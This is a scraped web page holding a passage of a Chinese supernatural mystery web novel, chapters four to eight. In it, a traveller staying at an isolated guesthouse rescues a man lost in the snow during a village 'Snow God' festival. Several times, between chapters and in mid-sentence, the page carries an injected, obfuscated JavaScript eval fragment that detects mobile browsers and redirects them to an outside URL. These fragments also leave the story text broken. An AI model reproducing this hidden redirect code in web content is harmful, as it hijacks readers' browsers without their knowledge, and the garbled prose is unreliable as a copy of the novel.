l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438716|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诶呀，你这人怎么那么无趣，第一时间想到的居然是报警！警察也没说法，所有人居民都查过了，失踪应该不是人为。” “这每逢过年的出了失踪案，就没人管管吗？” “也不只是过年。”女孩儿刚说完，不知道想到了什么，脸色突然变得不太好看。 不待王何驻细问，却听向导喊游客集合。陈璐仁给王何驻留了自己的联系方式和民宿位置，告诉她需要帮忙可以来找自己。 这趟巴士并不像王何驻过去乘坐的那样，停在一个固定停车场，就让游客一起下去。这里没有修停车场，公共交通工具都会在隔壁的雪落村停留。 雪落村与雪草村仅有一山之隔，热度确实大相径庭。雪落村旅游开发时间较早，基础设施更完善，商品化程度高，而雪草村当地居民因为与旅游企业在用地上的争议，旅游服务业一直到近几年才得以开发，至今仍旧比较原生态，知名度并不高。幸而因为雪落村业态饱和，旺季民宿费用格外昂贵，同样的住宿环境，价格相差十倍不止，许多游客为了节省开支，选择雪草村入住，雪落村游玩，两个村落也算联动发展。向导早在前一天就联系了每位乘客，获悉了各自的民宿名字，巴士在路上开着，到了民宿附近，就按照提前一天记录的信息，报民宿的名，提示游客下山。 “山雪人家，3位，山雪人家到了，可以下车了。” 一位母亲听到客栈名字，举了下手，拉着孩子，孩子父亲跟在身后，下了车。 “雪中来客栈，2位。”陈璐仁带着男朋友起身，向后座的王何驻挥手道了别，走下车去。 “张阿姨幸福客栈，6位，雪草冒险家驿站，4位，都在这附近，一块下去吧。” 10个人抵达目的地后下车，车上人顿时少了不少。汽车又往前开了段路。 “小胖子民宿，3位，童话客栈，4位，到了。” “嘶——这家在哪旮旯啊？怎么没听说过？” 向导拿着纸，侧身问司机。司机看了眼递过来的纸，小声说：“就刘老太婆那家。” 向导脸上有些讶异，“她居然也……诶，怎么会往那里住。” 汽车又开了一会儿，下了几个人，车上只剩下王何驻。 “你的民宿是不是“刘大娘家”？就你自个儿搁那住？”向导问王何驻。 “对，就我一个。” 向导脸上神情有点古怪，好像在犹豫，又像在同情，终究也没多说什么，只道：“那家有些偏僻，还要一段路，车不能开到她家门口，我们把你送到大路附近，你可以往里头走，或者联系她家主人来接你。你这妹子怎么想到住那旮旯？” 王何驻也觉得疑惑，她只是根据APP推荐，随便订了家民宿。价格适中，评价很少，应该是新开的。 “她家风评很差吗？”王何驻问道。 “对，啊不，也没什么，快到了，你准备一下下车吧。东西不要落了。” 4. 归乡篇·四 王何驻带着行李，从大路走到积雪覆盖的小道，最后站在一家院落门口。 院子被一排栅栏围着。排栅门没关，还系着两盏红灯笼，风一吹，灯笼就撞在门牌匾上，发出一点声响，像病人在呻吟。王何驻打量一圈周边环境，这里确实有些偏僻，并不与其他建筑作邻居。 王何驻推开院门，走了进去，一条石板路从院门口铺到红砖平房。沿着走直接就是房门。 “请问有人吗？”王何驻大声问道，又敲了敲紧闭的房门。 没有人回应她。 她看了下手机，手机仅剩不足10%的电量。屏幕右角显示信号格的图标消失了。她尝试向民宿老板拨打电话，正如陈璐仁说的那样，没信号，无法拨通。 院中积雪有30厘米左右，大风刮过，扬起一阵雪沫。 王何驻转悠到平房的另一个门，敲了敲，风声盖过了她手指敲击在钢制入户门上发出的声响，她觉得里面大抵不会有人听到了。 “哐当”一声，门竟开了，是一位身材纤细的女性，十分年轻。她扎了条单马尾，穿一身海蓝渐变色呢子外套，白色毛衣作为内搭，收拾得干净利落，面容姣好，眉眼带笑。她打量王何驻，然后问道：“你是这儿的客人？” “对，请问你是这家民宿的老板吗？” “不，我也是这儿的客人，老板是刘大娘，她出去了，还有些时候才能回来，你先进来吧，往我屋里暖暖，外面冷。” 王何驻跟着女子进了屋，眼镜立刻起了白雾，女子递过来一张纸巾，王何驻道了声谢，拿纸巾擦了下眼镜，复又抬头环顾。 屋里干净明亮，窗子对着前院，能够看到屋外的景色。窗边是一张漆红木桌，上头摆着几本书，书皮古朴。书桌旁靠着一张暖炕，炕上的被子叠放整齐，炕下的鞋子摆放规矩。大衣柜就在床边。整个房间空间狭窄，却没有任何异味。 女子名叫赵尔雅，二十多岁，从大学毕业没多久，学的地理，听说这里发展了旅游业，缺人手，便来此地作向导，长租了这间屋子。 “就你一个小姑娘来？”赵尔雅问道。 “对，就我一个。” “那可要小心了，这里吹‘白毛风’的时候，路不好走。如果需要的话，可以聘我作你的向导哦。我给你打个折。” “我会考虑的。请问你有那种苹果接口的充电线吗？我想借用一下，等有空了，我再去村里商店看看。你们这应该有可以买到充电线的商店吧？” “有的，稍等。”赵尔雅拉开抽屉，里面同样摆放整齐，她摸索了一下，找到一个三接口充电线，然后合上抽屉，把充电线交给王何驻：“这里生活的人几乎不会选择你这个牌子的手机，它太容易出故障了，遇到自然灾害什么的也很难及时预警。在这座村子的贮木场附近，有许多商店，会有卖充电线的。如果你晚上去参加山神，是‘雪神祭’吧？去参加‘雪神祭’的时候，可以看看。” “只有晚上会举办‘雪神祭’吗？” “不是，但晚上有篝火晚会和烟花，比白天热闹。” 院子中传来动静，赵尔雅往窗子外看了一眼，笑道：“刘大娘回来了。” 王何驻走出赵尔雅的房间，叫住刘大娘。 那是一个上了年纪、皮肤黢黑的女人，裹着绿色的头巾，像爬满苔藓的枯木桩子。她穿着一件陈旧的烟灰色棉衣，却戴了一副金耳环。她的反应有些呆滞，听完王何驻自我介绍后，愣了一会儿，才慢慢打开了一扇门。 她引着王何驻进屋，门内是一个穿堂，没有灯，靠着门外的雪取亮，光线很暗，屋内物件影子拉得老长，像潜伏的兽。她把王何驻安排在了草料房旁边的房间。房间还算宽敞，有独立卫浴，窗子朝着后院开，屋内有桌有炕，炕很大，能睡三四个成年人，炕上的被子被掀起一角，下面是烤焦的油皮纸。 王何驻上下扫了眼，总体上很满意这间屋子，她的要求不高，设备齐全就足够了。 她推着行李进屋，令人作呕的味道挤入她的鼻腔。她径直走到窗边，想要开窗通通风，却被刘大娘制止了。 “窗子钉死了，开不了。外面风大，窗不能开。” “可是气味太重了。” “什么气味？” “粪便的味道。或许是牛粪马粪驴粪之类的。” 刘大娘吸了一下鼻子，说道：“没有，我没闻到。” 王何驻也不纠结，顺手把被子掀起的一角重新压回去，刘大娘却伸手，又把那被角掀回去，说道：“不要盖住，会烧坏的，这炕大，你睡不到这块。” 刘大娘离开屋子，留下王何驻一个人呆在屋中。 王何驻放好行李，脱下外套，给手机充上了电。虽然没有信号，照相、录音、手电筒、备忘录之类的功能依旧有用。 咔嚓一声，门开了。王何驻回头，发现刘大娘去而复返，抱着一些木柴。 “我给你把炕暖上。”刘大娘蹲下，用火钳往灶洞里添柴。 “好的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438717|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”王何驻没管她，只站在窗边，盯着后院的雪景。 “别老盯着雪看，眼睛会坏掉。今晚的‘神祭’，你去吗？”刘大娘冷不丁问道，声音很沉。 “什么神？”王何驻留意到她话里古怪，故作不知，试图多套点信息。 “就是篝火晚会，很多人，热闹。”刘大娘绕过了王何驻话里挖的陷阱，专注盯着灶洞中的柴火，答非所问道。 “是为了纪念‘雪六’吗？”王何驻不死心。 刘大娘却一言不发，当作没听见王何驻的话。 “我今晚不会去的。赶路太累，我需要休息。明天还会有祭祀活动吗？”王何驻换了种说法。 “会有的，一直会有。”刘大娘拿着火钳离开了。 七点左右，天彻底黑了，王何驻打算去寻点吃的，顺便归还充电线。她走到赵尔雅房门前，敲了敲门，无人响应，窗帘被拉上了，没有灯光外泄，尔雅估计不在屋内。 王何驻绕着这座红砖平房走了一圈，发现有间屋子开着门，从外望去，像是客厅，中间放了张圆桌，周遭物品堆放杂乱，厅堂连着厨房。王何驻走进去，提高音量，问道：“有人吗？” 刘大娘从厨房里慢悠悠走了出来。 “请问这家民宿是否提供餐饮服务？” 刘大娘盯着王何驻，没说话。 “你这里卖吃的吗？” “有面条和水饺。” “哪一种更好吃？”王何驻老毛病犯了。 刘大娘沉默。 “一碗水饺吧。”王何驻有了经验，不再继续。 王何驻坐在客厅的圆桌上，一边吃着水饺，一边打量着屋内。一张炕就放在厅堂靠墙的位置，上面乱糟糟堆着衣物，应是屋主人守夜用的。厨房边放着的柜子格外引人注目，里面摆放着各种各样的药酒，白底红字的打印纸贴在柜子旁的墙壁上，上书“一碗十元”。 一只大黄狗趴在角落，玩着手里的纸团，狗子发现王何驻在瞅它，甩了纸团，站起来，摇着尾巴向王何驻汪了几声，却没走上前，它被一根铁链拴着。王何驻看它寂寞，用筷子戳破饺子皮，将肉馅挑了出来，喂给大黄狗，大黄狗吃得很急。 刘大娘冷冷地看着，说了句“真浪费”，就回了厨房。 王何驻离开的时候，又扫了眼客厅，发现炕边床头柜竟放了张黑白照，挤在果盆之中。她走近瞧了眼，竟是个上了年纪的女人。出于尊重隐私之类的考虑，她没有细看，径直离开了客厅。 5. 归乡篇·五 风吹了一夜，屋内异味实在太重，王何驻没怎么睡好。 眼见天亮，她打开手机，找到了陈璐仁留在备忘录里的民宿位置。她需要去买一根新的充电线，顺便找陈璐仁问问“雪神祭”怪谈的事。 出门前，她带着三接口充电线，敲响了赵尔雅的房间门。尔雅也醒了，精神萎靡地开了门，收下了王何驻归还她的物件。 王何驻看她打了几个喷嚏，询问赵尔雅是否感冒。赵尔雅点了点头，声称有些炎症，王何驻从包里掏出之前为蹭暖气在药店买的两盒药，递给赵尔雅。赵尔雅看到那药，下意识说道屋中有一样的，还剩不少，但最后还是一起收下了。 向赵尔雅问了路，王何驻一个人背着包向贮木场走去。 红色的围巾在风中翻飞，王何驻双手插兜，逆风而行。 这是她特地挑选的颜色，如果遇到麻烦，这条与周遭白雪形成鲜明对比的围巾或许能为她引来助力。 地上积雪很厚，踩上去嘎吱作响。刘大娘的住处实在过于偏僻，小道上马拉爬犁的痕迹诉说着王何驻并非此地唯一的行人，只是此时路上只有她。 风突然换了方向，自她身后吹来，狂风之中似有婴儿啼哭之声，随后风止，有人在唤她。 她回头，看到一人身着黑衣，孤零零站在雪中。他的怀里抱着一壶酒坛。 也不知说了什么，她接过了他手中的酒坛，改了方向。 当王何驻抱着酒坛站在一座神庙前的时候，她终于开始怀疑刚才遇到的那家伙的身份。 这怨不得王何驻，虽然那东西的出场方式很独特，但是他一开口就是“大妹子”，然后让她“把这玩意儿送到那旮旯去”，还问了句“成不”。 如此接地气的腔调，无论如何也想不到居然不是人类吧！ 王何驻抬头仰望，又四处环顾，试图寻找到牌匾或石碑之类的东西，以获取神名。然而并没有这些东西，门梁上只贴着红色纸质横幅，上书“心诚则灵”。 她把酒坛放在庙前，退后几步，掏出手机，给山神庙照了张相。 还不待王何驻细看，手机便黑屏了。 王何驻只能悻悻地把手机塞回兜里，向庙内喊道：“东西送到了，我先走了。” 然后转头便走。 此时尚未了解更多信息，贸然行动，恐怕自己得交代在这里。 如果此地的神灵当真是滕六，到底也有商量的余地，毕竟这位神明的形象脱胎于真实人类，可能保留有高度人格化特质。只是这将与金乌甚至帛书的结论相悖——这里的神魂属于上古神话的孑遗。 没有人为她解惑，她需要自己去理清一切，现在信息太少，还不是时候。 她在雪地上寻找自己来时的脚印，然后顺着脚印折返。 一刻钟后，王何驻又回到了神庙。 她看了眼神庙，以及庙外的酒，毫不犹豫转身离开，又一刻钟，她再一次回到这里。 看来自己被困住了。 雪中的脚印已经乱了，无法辨别来时路。她抬头试图寻找太阳的位置，却发现此时是多云的阴天。 积雪勾勒出周围的衫与松的骨骼，流露出一种挺拔的生命的美，地上是覆着霜雪的球序韭，似花非花，摇曳生姿。 王何驻感觉有什么东西在银白色的树与草后凝视着自己，那是一种缺乏理性、原始野蛮的目光。她相信此时应该有一只兽站在丛林中，体型或许有牛或者马那样大。 如果不赶紧离开这里，低温、兽群、或者注视着她的那东西，将对她造成威胁。 当王何驻再一次回到神庙，她没有急着离开，而是直截了当地把案桌上供奉的香灰炉取走了。她决定在寻路的同时，沿路撒一点儿香灰，作为记号。 如果困住她的事物是非物质的，那么与之同源的物质实体或许能够留下痕迹。 她左手捧着香炉，右手撮着些香灰，往地上洒去。黑色的香火落在白雪上，留下了星星点点的记号。 按照这种方式，走了没两步，王何驻就被雪中的异物绊倒，结结实实又摔了一跤，左腿膝盖磕到枯木墩子上，一时间痛到难以起身。她在雪地里侧身躺了一小会儿，待左腿适应疼痛，方才踉跄着起身。 她去看那绊倒她的异物，竟是个被山雪掩盖了一半的人，穿着黑色的羽绒服。她掀开那人的帽子，有些眼熟，但想不起是谁，她把手探到那人鼻息下。 是个活人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438718|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王何驻脱下手套，犹豫了一下，还是抽了那人两耳光，没反应，看来已经陷入深度昏迷了。 她重新把那人帽子戴上，又解下自己的围巾，绑在他小腿上。 做完这些，她捡起香灰炉。里面香灰因为那一跤，已尽数散落在雪地中。她往香灰炉里看了一眼，炉底似乎雕刻着文字。 她手握一捧雪，仔细地搓着香灰炉，里面的字也清晰了：“禹步独行。” 王何驻对此感到困惑。如果不能够破解这样文字，其意义也只是和神庙门梁横幅上的“心诚则灵”起个押韵的作用。 她一时没有头绪，顺手将香灰炉塞入背包。这行字的意思或许是，以“禹步”的方式一个人行走。“禹步”应该是怎样走的？ 她又看了眼那个陷入昏迷的人，他的脸被冻得青紫，生命垂危。既然遇到了，没有一个人离开，放任他冻毙山间的道理，必须及时带走他，以免出现意外。“独行”也是做不到的。 王何驻叹了口气，把自己的羽绒服脱下，给那人头部又裹了一层，以确保他的脑袋得到保护，然后给了他一个向下的力。那人在雪地里滑了一小段，又卡在积雪处。 看来不能偷懒了。王何驻认命地捡起围巾的一端，确认另一端结结实实绑在那人小腿上后，拽着围巾，拖着那个倒霉蛋，一瘸一拐地寻找出路。 这一次，王何驻没有回到神庙。她找到了一条小道，这条小道没有岔路，直通山下，甚至有些适合滑行的坡度，方便王何驻在拖累的时候，利用冰雪地的动摩擦更便捷地运输那个被冻晕的倒霉蛋，这是非常委婉的说法，实际执行可能有点粗暴。 这条路有些漫长，王何驻走到几乎窒息。她的左腿受了伤，难以正常受力。在行走过程中，她需要不断确认那个倒霉蛋的生命体特征，并且尽可能检查四周，确保冰雪之下没有乱石怪木等隐藏的危险。 大量的体力消耗和御寒物的舍让让王何驻几乎成为下一个被冻晕的倒霉蛋，但是想到自己正背负着一条人命，王何驻不得不咬牙坚持了下去。她并非舍己为人、完全不在乎自己的身家性命的人，只是在她的思维里，生命过于平等，在尚有选择权决定生死的时候，都不是容易割舍的。 6. 归乡篇·六 陈璐仁踏入这座山的时候，心里有点发怵。尽管她痴迷于传说怪谈，如果危险降临在自己或者亲友身上，她无论如何也不能被“神的考验”这种事说服，乖乖呆在客栈里等待“神的回复”。她需要去救他，哪怕只有她一个人。 她想起自己之前嘲笑巴士上遇到的那姑娘总想着报警，有点后悔。现在的陈璐仁已经做好决定，先自己寻一小段路，如果没能找到自己突然失踪的男友，就立刻回去报警。 她望着前方的路，期盼着有个神明降临，把她的男朋友健健康康地还给她。 雪花描绘出风的行迹，四周十分静寂，陈璐仁满脑子都是荒诞的念头，视线有点恍惚。 在恍惚中，她突然看到了一个小小的身影，以一种奇怪的走路姿势，慢慢向她靠近，似乎还拖着什么东西。那道身影向她招手，风将那家伙的声音撕碎，她听不清她在说些什么。 是雪神，还是山里的妖怪？陈璐仁有点迟疑，但还是鼓起勇气向那家伙走去。她看到了一张惨白的脸，是王何驻。 王何驻见到她，有点兴奋，忙招呼她来帮忙：“我在山上遇到一个冻晕的人，他看起来快不行了，劳烦搭把手救个命。” 陈璐仁加快步伐，视线转移到王何驻拖着的那东西身上。她认出了自己男友，没忍住哭出声来。 “还活着，有呼吸呢。”王何驻以为陈璐仁被吓哭了，忙解释道。 “不，不，谢谢你。这是我男友。我就是为了找他来的。”陈璐仁吸了吸鼻子。 “你男友？正好，他就交给你了。”王何驻毫不客气地蹲下身，利落地解开了裹在他头部的羽绒服。羽绒服被雪浸湿，又被风吹干，已经冻成一块，穿着很不舒服，但了胜于无。 陈璐仁扛起了自己的男朋友，王何驻帮着扶了一把。 “他怎么被扔到山里去了？”看到陈璐仁步履稳健，王何驻便自顾自一瘸一拐地走着。卸下挽救他人性命的重担后，神经放松了，疼痛和疲惫感卷土重来，她自己几乎都要站不稳了。 “我不知道。我一觉醒来，他就不见了。我以为这是一个恶作剧，但是他们都说，这是‘神的考验’。”陈璐仁回想起来，都有些后怕。 “他们？‘神的考验’？一会儿和我详细讲讲这些事吧。”王何驻回道。 不知是否是错觉，陈璐仁听到王何驻在说“神”这个字时发出了冷笑。 雪草村曾经以林业为主要收入来源，村落内最大的空地便成了“贮木场”，用于临时储存原木，后来村子的支柱产业转型为旅游业，“贮木场”也被改造成供游客活动参观的广场，当地人会在这里举办祭祀活动或者歌舞表演，只是当地人依旧习惯使用“贮木场”这个称呼。 贮木场离陈璐仁遇到王何驻的地方并不远，陈璐仁暂住的客栈也贮木场旁边。她们两人，加上那个昏迷的家伙，一共三人，刚到广场，就吸引了人们的侧目。 “雪六救下了他！他通过考验了！”一个人看到陈璐仁背着的人，高兴地大喊。 “雪六显灵了！”另一个孩子跟着传。 广场还摆放着祭祀的道具，周围是村民自发支起的贩卖小吃与特产的摊子，此时的游客也多在这里。看到陈璐仁背着男友，广场上的人们争相传递着喜悦，交流中是对“雪六”神迹的崇拜，或者称赞那个全程昏迷的家伙的坚韧——他通过了“神的考验”。 “分明是我冒死救的人啊，怎么全说是神的功劳！”王何驻有点恼，“拜什么神，快帮忙找个医生看一下，他现在还晕着呢。” “你这妹子，扯什么大话。是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438719|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪六’！没有‘雪六’的指引与庇护，你没法救下他！”不知何人发了声，引来一阵附和声。 王何驻脸色又沉了几分。她无意强迫他人承认自己的功劳，毕竟她其实没有很重的弥赛□□节，只是看到无论是村民还是游客，都把她个人出于人道主义关怀的救助行为归功于神的旨意时候，实在有点不舒服。她很难对这个把她困在荒郊野岭的家伙起好感，如果她没有走出来，便是一尸两命的事。 “是你救了他！”看到王何驻面露愠色，站在她身旁的陈璐仁轻声说道。 回到雪中来客栈，陈璐仁替王何驻订了一间房，让她好好休息，便忙着找人医治自己的男友去了。 王何驻向民宿老板讨了瓶碘伏，简单处理了一下左腿的伤口，合眼休息。 大概是下午一点左右，陈璐仁带着一篮草莓和一个列巴，敲响了王何驻房间的门。 “你男友怎么样了？” “刚才醒了，现在在休息。谢谢你救了他，不然我都不知道该怎么办了。雪那么大，风那么凶，他一个人……如果没被及时救下来……如果真的遇到什么……我该怎么办。”陈璐仁把食物放在桌上，说道。 “你可以换个男友。单着也不错。”王何驻的情商不合时宜地出走了。 “……你是在哪发现他的？” “一座破庙，半埋在雪里。有个神神叨叨的东西让我往某个方向走大约五百米，去半山腰送一壶酒，我鬼使神差就答应了。”王何驻又向陈璐仁陈述了她是如何被困，以及如何救出她男友的。 “你遇到神了？”陈璐仁有些激动。 “或许是，但我不太确定。好了，麻烦你告诉我你知道的事。你看到的怪谈帖子，以及，昨天，发生了什么？还有关于‘神的考验’的事。” 7. 归乡篇·七 据说，雪六是这样的神，祂银发曳地，身着白袍，貌容姣好，风姿绰约，气质若皎皎明月高悬，只是一双眼眸中总是凝着冰霜……后面的一大串外貌描写被王何驻叫停了，陈璐仁按照王何驻的意思，简单概括了祂的特质，“从头到脚一身白，挥袖落雪”。 而风二是这样的神，祂身着青衣，左手手持扇，喜怒无常。看到王何驻木然地盯着她，陈璐仁咽下了差点脱口而出的诸如“眉目含情、鬓若刀裁、笑里藏刀”之类的词。 雪六和风二是朋友，当雪六从袖间抖落飞雪的时候，风二便执扇接下，将满天雪花引入人间，为丰年降下瑞雪。 雪六总是忧伤又冷漠地凝望世间，只有抱着酒寻祂的风二能够化开祂眼底的积雪。两个小神明平日就挤在一间破庙，饮酒对弈，吟诗作歌，谈天说地，救助那迷路的夜归人，相约看初春的山杏花……王何驻以“这种其实不必说得很具体，说太多这俩就不像单纯的朋友了”为由再一次打断了陈璐仁个人发挥过度的叙述。 总之，雪六和风二关系是很好。直到风二被南方的花香与美酒吸引，离开了这片土地。 自由的风无所顾忌，一路南下，走过长江流域，唤醒早春的新芽，雪却总是静静地留守在秦岭淮河的彼方，等待风的讯息。 风二离开前，答应过雪六，祂会在山杏花开的时候，从南方带回最好的酒。 不知为何，风二再也没有回来，或许是醉倒在秦淮河畔了吧。 雪六感到孤独，于是收留了一只山间野兽，取名为“风二”。 只是山间野兽的寿命又如何比得神明，岁月苦寒，凡兽的獠牙在一岁又一岁的凄风中脱落，毛发在一载又一载的霜雪中干枯。 于是雪六砍下马的蹄子，替换“风二”脱落的爪子，割下牛的尾巴，接上“风二”的断尾，剥下赤狐的皮毛，缝补“风二”的身体。当然，这种方式是无法维持“风二”的灵魂的，雪六为它寻来了不死药。 看到王何驻一脸惊悚，陈璐仁摊开手，示意那个怪谈帖子就是这样写的。 最后，凡兽“风二”的理性在时间长河中磨损退化，神明豢养的宠物成了吃人的怪物，用婴儿的啼哭悲泣自己的命运。 “风二”在雪草村作乱，雪六没办法，或者说不舍得除掉这个亲手养出的怪物，于是只能约束它，只许它在“雪神祭”出没，抓走“不敬神明”的人。 被“风二”抓走的人要熬过一夜“考验”，如果他的心底还是保留着对神的敬畏，雪六会救下他，为他的未来降下祝福。没有通过“考验”的人将成为“风二”的食物。 “所以这一切只是搞替身文学的病娇福瑞控的play。”王何驻总结道。 陈璐仁兴奋地点了点头，然后又向王何驻叙述了昨日与男友入村后发生的事。 陈璐仁和男友的客栈就在贮木场附近，于是一起参加了当晚的“雪神祭”活动。 这里的祭祀活动融合了萨满文化，由沟通神与人的祭司主持。 萨满唱诵完神辞后，人们围着篝火跳舞，请求神的降临。随后萨满宣布神的到来，并献上祭品，与神沟通。人们在萨满的带领下，往木质祈福牌或者彩色纸上写下新年愿望，然后将祈福牌或者彩纸丢入火堆中。 陈璐仁拉着男友往篝火里扔祈福牌，但是当陈璐仁男友将自己的祈福牌投入篝火堆的时候，刮起了大风，火熄灭了。 萨满找到陈璐仁男友，告诉他今晚他将迎来“神的考验”，然后180块卖了他们一瓶“圣水”，声称提高通过考验的概率，便离开了。 陈璐仁拉着男友的手，两人穿戴整齐，准备一起度过这个夜晚。后来两人都没撑过困意，睡去了。陈璐仁醒来的时候，男友已经不见了踪迹，至于陈璐仁男友，他刚醒来。 “之后的事就是这样。大家都让我呆在客栈，神明自会作出裁决。只是我总觉得不安，便想着自己找找看。” “他们所谓的考验，就是指零下二十多度的气温下，把人埋在雪里？”王何驻的脸色有些难看，“难道非要刻意设计一个险境，才能彰显神的伟大？这种情况下产生‘敬畏之心’，和强迫有什么区别。” “我也觉得奇怪，没想到居然是这样的考验。”陈璐仁拧眉，犹豫了一会，说道：“之前在休息站，我意识到一个问题，没来得及和你说。据说失踪案都发生在‘雪神祭’时期，这几天是新年，巴士向导说过，我们正好赶上了‘雪神祭’，是否可以认为，‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438720|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪神祭‘的举办时间就是新年期间。但是失踪案并不只发生在新年。怪谈帖子的评论区就提到过，前两周‘雪神祭‘的时候，这里就出现了一起失踪案。” 在宗教氛围浓厚的地方，祭祀活动或许会持续很久，但是在这个国家，人们更倾向于脚踏实地解决问题。耗费大量时间与资源用于祭祀的情况很少见，祭祀活动时间通常压缩在1-3天，最长也不过一周。 “如果不是这半个多月都在举办‘雪神祭’，那就说明，‘雪神祭’并不总是固定时间举办的，相反，它办得很频繁。”王何驻思忖道，刘大娘那句“一直会有”在她脑子里飞快闪过。 “是啊，如果’雪神祭’的举办时间并没有按照既定日期来，是否意味着这里其实由人掌握着何时举办‘雪神祭’的权力。”陈璐仁虽有些情感化表达，思路却也格外清晰。 “若如你所言，是由人控制举办‘雪神祭’的时间的，而每逢‘雪神祭’必有失踪案……这一切就有点人为的刻意了，”王何驻感觉脊背发凉，“按照传说怪谈的本义，雪六只许‘风二’在‘雪神祭’抓走人类，本就是一种从时间规则出发的约束行为。这种行为是破坏了利用时间规则达到的平衡。” “对！我就是这个意思。但结合你的经历来看，还是有些奇异存在的。有东西指引你去神庙，并且救下了我男友，那应该是怪谈中的‘雪六’，你在山上感觉到有不寻常的兽在看自己，它或许就是怪谈传说中的‘风二’。你是怎么看待它们的？” “我感觉，”王何驻认真回忆了一下，答道： “他们……都想杀了我。” 王何驻对陈璐仁说出了自己的直观感受。这种感受并不基于事实的理性的推理与判断，而是生物本身的直觉。 陈璐仁的男友清醒后，却是一脸懵的状态，他没有任何入睡后的记忆，更不知道所谓“神明考验”过程中发生了什么，不过他为王何驻从雪山上带回他一事感到万分感激，和陈璐仁商议后，这对小情侣觉得他们应该向王何驻支付提供救援的报酬，以答谢救命之恩。 王何驻没有接受钱财，只让陈璐仁去商店买了一根苹果充电线给她。 毕竟“买一根充电线”是她此行的目的。 8. 归乡篇·八 尽管陈璐仁再三挽留，王何驻并不打算留宿雪中来客栈，她的行李还放在刘大娘家。稍作休息后，她背着包找到雪中来客栈的老板，退了房。 雪中来客栈的老板是个热情的中年人，当他得知王何驻住在刘大娘家时，脸上浮现出古怪的神色。 王何驻捕捉到这一神情变化，以聊天的形式装作漫不经心地的样子向老板打听起了刘大娘家的情况，客栈老板也是个爱唠嗑的，就这么被打开了话匣子： “这房子原先可不是刘大娘的，是人查奶奶的！查奶奶的儿子和孙子在外头打工，媳妇得重病走了，就剩她和孙女相依为命。雪草村搞旅游开发的时候，查家奶奶和管这事儿的那帮人闹了不少事，一会儿是地的问题，一会儿是房子的问题。最开始也有几个帮查奶奶说话的，后来大伙儿都从旅游里头赚到了钱，谁还稀罕这倔老太婆？查奶奶两年前就咽气了，孙女在外地上大学。 这刘大娘啊，早先嫁到隔壁村，后来守了寡，回到雪草村，住在她哥哥家。她哥成天看不她不顺眼，嫌她没出息，总揍她。后来她哥死了，据说是因为喝太多酒，酒精中毒没的。她侄子觉得她晦气，又把她撵走了。她不见了好一阵子，大伙儿都寻思她去别处打工了。也是两年前，她又回来了，还占了查奶奶的屋子。半个月前的‘雪神祭’，当初撵走她的那侄子失踪了。 现在大伙儿觉得她晦气，躲着她走，背地里都说，是她记恨她哥，故意灌她哥喝酒，把人整没了！ 你这妹子自个儿住那，可得遭罪啊！” 王何驻听了，却没什么情绪波动，客栈老板劝她换家地住，王何驻客气地回绝了他的好意，然后找到陈璐仁，将退房返还的押金等等，尽数还给了她。 陈璐仁坚决不收，王何驻也没勉强，因为左腿的伤，回去大概是不能靠走了，她需要找个马拉爬犁载她一程，这笔钱费用就当陈璐仁替她付了。 不过在回刘大娘家前，王何驻需要亲自去一趟雪神祭。 王何驻来到贮林场的时候，是下午六点左右，雪神祭还没有开始，天却早早暗了。 红色的灯笼挂在广场周围的房屋上，与窗上的窗花、门外的对联一起，烘托出新年的喜庆。作为装饰的霓虹灯和LED灯都亮了起来。雪草村的民宿经营者都爱使用五颜六色的灯，王何驻猜测，这或许反映了这里的村民对美好生活的认知——日子就该像这些灯一样，色彩斑斓。他们用灯带在招牌上勾勒出自家客栈的名字。 卖烤红薯与烤玉米的小摊冒着白色的热气，阵阵香气融入呼啸的寒风中，让风也带了一丝甜味。五花八门的冰糖葫芦串前的游客最多，孩子是这种食品的主要受众。 